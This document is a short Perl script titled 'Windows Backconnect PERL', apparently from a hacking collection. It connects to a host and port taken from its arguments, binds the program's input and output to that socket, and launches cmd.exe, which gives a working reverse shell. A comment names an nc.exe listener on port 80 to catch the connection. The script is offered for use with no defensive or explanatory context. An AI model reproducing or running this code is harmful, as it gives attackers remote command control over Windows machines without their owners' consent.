Windows Backconnect PERL

#!/usr/bin/perl
use IO::Socket;
# Windows back connect
# Use: bc.pl [Host] [Port]
# nc.exe -l -n -v -p 80
# Happy xek ;)
# Coded by Ctacok.
$ARGV=@ARGV;
if ($ARGV<2){ print "Moron?"; } socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Can't Resolve Host\n"; connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Can't Connect Host\n"; print "All ok... Connect to $ARGV[0] \n"; open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("cmd.exe");